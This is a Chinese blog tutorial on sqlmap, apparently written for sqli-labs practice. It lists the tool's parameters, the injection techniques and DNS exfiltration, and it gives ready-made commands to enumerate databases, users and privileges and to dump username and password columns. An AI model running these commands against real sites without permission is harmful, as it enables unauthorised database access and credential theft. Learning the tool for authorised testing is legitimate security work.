sqlmap参数详解,功能使用,联合,盲注,报错各种使用

Sqlmap是一个自动化SQL注入工具,用于检测和利用SQL注入漏洞。它可以用来列举数据库、表、字段,甚至执行更复杂的操作。文章详细介绍了如何使用不同参数,如-vx、--dbs、--threads等,来控制信息回显的详细程度、指定扫描级别和数据库类型,以及优化扫描速度。此外,还提到了布尔盲注、报错注入等注入技术,并展示了如何设置时间延迟和UNION查询字段数。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

关于sqlmap使用

使用 Sqlmap 对一个注入点进行测试时,可以使用 -v x 参数指定回显信息的复杂度,x范围为[0~6],共有 7 个等级,默认为 1。

0:只显示python错误以及严重的信息。
1:同时显示基本信息和警告信息。(默认)
2:同时显示debug信息。
3:同时显示注入的payload。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应页面。

常用命令:

-u  "url"       #检测注入点
--dbs           #列出所有数据库的名称
--current-db    #列出当前数据库的名称
-D              #指定一个数据库
--table         #列出所有表名
-T              #指定表名
--columns       #列出所有字段名
-C              #指定字段
--dump          #列出字段内容
--threads       #多线程操作
--purge         #刷新缓存

加快扫描速度

 –dbms mysql –level 2
 指定数据库类型,级别为2,共5个级别,级别越高,越准
 
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。
sqlmap -u 'http://192.168.220.129/sql/sql/Less-4/?id=1' -p 'id' --current-db

--skip:跳过指定参数扫描,和-p作用相反,它用来跳过需要扫描的参数

--param-exclude:不对包含具体内容参数的请求进行探测,如不对包含token和session参数的请求进行探测
sqlmap -u "url" --param-exclude="token,session"

使用星号(*)来指定注入点
sqlmap -u "http://127.0.0.1/Less-1*/?id=1" --banner
sqlmap -u "http://127.0.0.1/Less-20/?id=1" --cookie="uname=admin*" --banner

–technique 参数用来设置具体SQL注入技术

B: Boolean-based blind 基于布尔的盲注
sqlmap -u “存在注入点的URL" --technique B --current-db #利用基于布尔的盲注对注入点进行SQL注入探测。

E:Error-based 报错注入

U:Union query-based Union查询注入

S:Stacked queries 堆叠注入

T:Time-based blind 基于时间的盲注

Q:lnline queries 内联查询注入

1、sqlmap设置时间盲注延迟时间
sqlmap -u "存在注入点的URL" --time-sec 3 --current-db

2、sqlmap设置UNION字段数
sqlmap -u “存在注入的URL" --union-cols 12-18 --current-db

3、sqlmap设置union查询表
sqlmap -u “存在注入的URL" --technique u --union-form users --current-db -v3

4、sqlmap设置DNS攻击
定义:通过设置DNS流量来突破限制 --dns-domain "dns服务器" 需要用户自身具有一个开放53端口的DNS服务器,通过DNS流量来获得web应用程序中数据内容。

5、sqlmap设置二次注入
sqlmap中可以设置二次注入的结果页面
sqlmap -u "存在注入的URL" --second-order

6、sqlmap识别指纹
sqlmap -u "存在注入的URL" --fingerprint -f

探测目标指纹信息(--fingerprint -f)

7、sqlmap检索DBMS Banner
获取后端数据库Banner信息 --banner 或者 -b

8、sqlmap检索DBMS当前用户
获取DBMS当前用户 --current-user

9、sqlmap检索DBMS当前数据库
获取当前数据库名 --current-db

10、sqlmap检索DBMS当前 主机名
--hostname

11、sqlmap探测当前用户DBA
--is-dba 探测当前用户是否是数据库管理员

12、sqlmap 枚举DBMS用户名
--user 获取DBMS所有用户

13、sqlmap枚举DBMS的用户名密码    --password 获取用户名密码
mysql -h IP地址 -u root -p #MySQL数据库登录

14、sqlmap枚举DBMS权限    --privileges--role(角色)
sqlmap -u "存在注入的URL" --technique -u -v3 --batch --privileges

15、sqlmap列举数据库名
--dbs 列举数据库名称

16、--tables 枚举表名 --> 制定具体数据库 -D 数据库名       sqlmap枚举数据库表
--exclude-sysdbs
(1)sqlmap -u "存在注入的URL" -D 数据库名 --tables
(2)sqlmap -u "存在注入的URL" --tables --exclude-sysdbs

17、sqlmap枚举数据表列    --columns -D 指定数据库 -T 指定数据表 -C 指定具体字段
sqlmap -u "存在注入的URL地址" -D 数据库名 -T 用户名 --columns

18、sqlmap枚举数据值   --dump
sqlmap -u "存在注入的URL地址" -D 数据库名 -T 表名 -C “username,password" --dump

19、sqlmap枚举schema信息
定义:用户可以使用此开关--schema检索DBMS模式。模式列表将所有的数据库、表和列,以及它们各自的类型。与--exclude-sysdb结合使用时,只会检索和显示包含非系统数据库的模式的一部分

例如:sqlmap -u "存在注入的URL地址" --schema--batch --exclude-sysdbs

20、--count    sqlmap检索数据表的数量,如果用户只想知道表中的条目数,则可以使用此开关。
例如:sqlmap -u "存在注入的URL地址" --count -D testdb
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青衫木马牛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值